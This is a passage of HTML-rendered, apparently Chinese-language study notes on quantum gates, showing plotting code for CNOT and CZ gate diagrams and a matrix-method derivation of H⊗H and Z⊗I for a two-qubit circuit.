class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'h_maze.png'</span><span class="token punctuation">)</span><span class="token comment"># 修正：CNOT 閘 (IBM標準，q0控制右位元。01->11, 11->01，其餘不變)</span>cnot_connections <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>draw_maze<span class="token punctuation">(</span><span class="token string">'CNOT'</span><span class="token punctuation">,</span> cnot_connections<span class="token punctuation">,</span> <span class="token boolean">True</span><span class="token punctuation">,</span> <span class="token string">'cnot_maze.png'</span><span class="token punctuation">)</span><span class="token comment"># CZ 閘 (由於CZ只作用於 |11>，所以不論哪一種矩陣序，節點連接與對射皆維持不變)</span>cz_connections <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>draw_maze<span class="token punctuation">(</span><span class="token string">'CZ'</span><span class="token punctuation">,</span> cz_connections<span class="token punctuation">,</span> <span class="token boolean">True</span><span class="token punctuation">,</span> <span class="token string">'cz_maze.png'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"IBM 標準迷宮圖片生成完畢！"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></details><blockquote><p>可以驗證 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>H</mi><mo>†</mo></msup><mi>X</mi><mi>H</mi><mo>=</mo><mi>Z</mi></mrow><annotation encoding="application/x-tex">H^\dagger X H = Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span></span></span></span>，這讓我想起矩陣對角化</p></blockquote><h2 id="%E9%A0%90%E6%B8%AC%E9%87%8F%E5%AD%90%E9%9B%BB%E8%B7%AF%E7%B5%90%E6%9E%9C%E7%9A%84%E4%B8%89%E7%A8%AE%E6%96%B9%E5%BC%8F" tabindex="-1" id="預測量子電路結果的三種方式">預測量子電路結果的三種方式</h2><p>給一個量子電路，我們怎麼知道跑出來的結果是什麼呢？我們統一以以下這個量子電路：<br><img src="2026-07-18-18-40-36.png" alt=""><br>他的結果如下：<br><img src="2026-07-18-18-40-56.png" alt=""></p><p>我們分別用以下三種方法求出答案</p><h3 id="%E7%9F%A9%E9%99%A3%E6%B3%95" tabindex="-1" id="矩陣法">矩陣法</h3><p>把它看成三個部分，第一個部分是對 q0, q1 分別作 H Gate，組合起來就是：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>H</mi><mo>⊗</mo><mi>H</mi><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>⊗</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">H\otimes H = \frac{1}{\sqrt{2}}\begin{pmatrix} 1 &amp; 1 \\ 1 &amp; -1 \end{pmatrix} \otimes \frac{1}{\sqrt{2}}\begin{pmatrix} 1 &amp; 1 \\ 1 &amp; -1 \end{pmatrix}= \frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1 \\1 &amp; 1 &amp; -1 &amp; -1 \\1 &amp; -1 &amp; -1 &amp; 1\end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>第二部分是對 q0 作 I (也就是什麼都不做)、對 q1 做 Z Gate，組合起來是：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>Z</mi><mo>⊗</mo><mi>I</mi><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>⊗</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">Z \otimes I = \begin{pmatrix} 1 &amp; 0 \\ 0 &amp; -1 \end{pmatrix} \otimes \begin{pmatrix} 1 &amp; 0 \\ 0 &amp; 1 \end{pmatrix}= \begin{pmatrix}1 &amp; 0 &amp; 0 &amp; 0 \\0 &amp; 1 &amp; 0 &amp; 0 \\0 &amp; 0 &amp; -1 &amp; 0 \\0 &amp; 0 &amp; 0 &amp; -1\end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" 